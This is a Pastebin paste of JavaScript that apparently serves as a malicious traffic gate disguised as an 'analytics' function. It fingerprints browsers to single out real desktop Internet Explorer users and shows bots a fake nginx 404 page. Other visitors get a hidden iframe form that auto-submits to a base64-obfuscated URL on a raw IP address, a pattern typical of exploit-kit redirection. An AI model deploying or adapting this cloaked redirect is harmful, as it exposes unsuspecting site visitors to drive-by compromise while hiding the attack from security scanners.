Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
- var MaxiMus = '';
- function getBrowser() {
- var ua = navigator.userAgent;
- var browsrObj = {
- browser: 'unknown',
- browser_real: '',
- is_bot: false,
- browser_quality: 0,
- platform: 'desktop',
- versionFull: '',
- versionShort: ''
- };
- try {
- var bName = function() {
- if (ua.search(/Edge/) > -1) return "edge";
- if ((ua.search(/MSIE/) > -1) || (ua.search(/Trident/) > -1)) return "ie";
- if (ua.search(/Firefox/) > -1) return "firefox";
- if ((ua.search(/Opera/) > -1) || (ua.search(/OPR/) > -1)) return "opera";
- if (ua.search(/YaBrowser/) > -1) return "yabrowser";
- if (ua.search(/Chrome/) > -1) return "chrome";
- if (ua.search(/Safari/) > -1) return "safari";
- if (ua.search(/Maxthon/) > -1) return "maxthon";
- else return "unknown"
- }();
- browsrObj.browser = bName;
- if (/iphone|ipad|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase())) browsrObj.platform = 'mobile';
- var version;
- if (bName != 'unknown') {
- switch (bName) {
- case "edge":
- version = (ua.split("Edge")[1]).split("/")[1];
- break;
- case "ie":
- if ((ua.search(/Trident/) > -1)) {
- version = (ua.split("; rv:")[1]).split(")")[0]
- } else {
- version = (ua.split("MSIE ")[1]).split(";")[0]
- }
- break;
- case "firefox":
- version = ua.split("Firefox/")[1];
- break;
- case "opera":
- version = ua.split("Version/")[1];
- break;
- case "operaWebkit":
- bName = "opera";
- version = ua.split("OPR/")[1];
- break;
- case "yabrowser":
- version = (ua.split("YaBrowser/")[1]).split(" ")[0];
- break;
- case "chrome":
- version = (ua.split("Chrome/")[1]).split(" ")[0];
- break;
- case "safari":
- version = (ua.split("Version/")[1]).split(" ")[0];
- break;
- case "maxthon":
- version = ua.split("Maxthon/")[1];
- break
- }
- browsrObj.versionFull = version;
- browsrObj.versionShort = version.split(".")[0]
- }
- } catch (err) {}
- var w = window,
- d = document;
- var CorrectBrowser = true;
- var uaBrowser = browsrObj;
- var isIE = isChrome = isFirefox = isOpera = 0;
- if (uaBrowser.platform != 'mobile' && (browsrObj.browser == 'ie' || browsrObj.browser == 'chrome' || browsrObj.browser == 'firefox')) {
- if ('ActiveXObject' in window) isIE++;
- if ('chrome' in window) isChrome++;
- if ('opera' in window) isOpera++;
- if ('getBoxObjectFor' in d || 'mozInnerScreenX' in w) isFirefox++;
- if ('WebKitCSSMatrix' in w || 'WebKitPoint' in w || 'webkitStorageInfo' in w || 'webkitURL' in w) isChrome++;
- var f = 0;
- f |= 'sandbox' in d.createElement('iframe') ? 1 : 0;
- f |= 'WebSocket' in w ? 2 : 0;
- f |= w.Worker ? 4 : 0;
- f |= w.applicationCache ? 8 : 0;
- f |= w.history && history.pushState ? 16 : 0;
- f |= d.documentElement.webkitRequestFullScreen ? 32 : 0;
- f |= 'FileReader' in w ? 64 : 0;
- if (f == 0) isIE++;
- if (isIE > 0) {
- browsrObj.browser_real = 'ie';
- browsrObj.browser_quality = isIE
- }
- if (isChrome > 1 && isFirefox == 0) {
- browsrObj.browser_real = 'chrome';
- browsrObj.browser_quality = isChrome
- }
- if (isFirefox > 0 && isChrome == 0) {
- browsrObj.browser_real = 'firefox';
- browsrObj.browser_quality = isFirefox
- }
- if (uaBrowser.browser != uaBrowser.browser_real) browsrObj.is_bot = true;
- if (browsrObj.browser_real != 'ie') browsrObj.is_bot = true
- }
- MaxiMus += browsrObj.browser + '-' + browsrObj.browser_real + '_ie' + isIE + 'chrome' + isChrome + 'firefox' + isFirefox;
- return browsrObj
- }
- var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
- function decode64(input) {
- var output = "";
- var chr1, chr2, chr3 = "";
- var enc1, enc2, enc3, enc4 = "";
- var i = 0;
- var base64test = /[^A-Za-z0-9\+\/\=]/g;
- if (base64test.exec(input)) {}
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- do {
- enc1 = keyStr.indexOf(input.charAt(i++));
- enc2 = keyStr.indexOf(input.charAt(i++));
- enc3 = keyStr.indexOf(input.charAt(i++));
- enc4 = keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2)
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3)
- }
- chr1 = chr2 = chr3 = "";
- enc1 = enc2 = enc3 = enc4 = ""
- } while (i < input.length);
- return unescape(output)
- }
- function analytics() {
- BrowserInfo = getBrowser();
- if (BrowserInfo.is_bot == true) {
- document.write('<html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>')
- }
- if (BrowserInfo.is_bot == true) {} else {
- window.frames[0].document.body.innerHTML = '<form target="_parent" method="post" action="' + decode64('aHR0cDovLzkyLjUzLjEwNy4xOC8/TkRrNU9UQTImaU9PWm5NQmRMcGNydyZYTlpiUnpYQ1FaTlk9ZFc1cmJtOTNiZz09JldLcWJsaUd1Ync9WTJGd2FYUmhiQT09JmFjaUFIT289Ykc5allYUmxaQT09Jm54NTJzZmdmZ2hzPXhIM1FNcmZZYlJ2RkZZZmZLUDdFVUtORU1VeldBME9Ld1kyWmhhM1ZGNTJ4RkRYR3BiYjFGeGpzcFZ1ZENGdUVtdmR2ZExjSEl3Q2gxVURBJkZGT1NCVXJueXFtPWNtVndiM0owJkxEWVlwcUxadGQ9ZEdocGJtZHomdGYzaGRmZ3NHMmQ9U3dBem00c1BBVjhROWEydTJFZlhuQk9iaEpQVTlSUGJZdzlDcXBlVlFMY3lqbHZ5ejdWQmNjZ2xrUlBSN1dKVHhPd3RZbDhncFE5UjJhM0kmbVF4eW5Mck1LY3JkZ1Q9WTI5dWMybGtaWEk9JmVBUkVqVFBHeWpGb25WPVkyRndhWFJoYkE9PQ==') + '"></form>';
- window.frames[0].document.forms[0].submit()
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement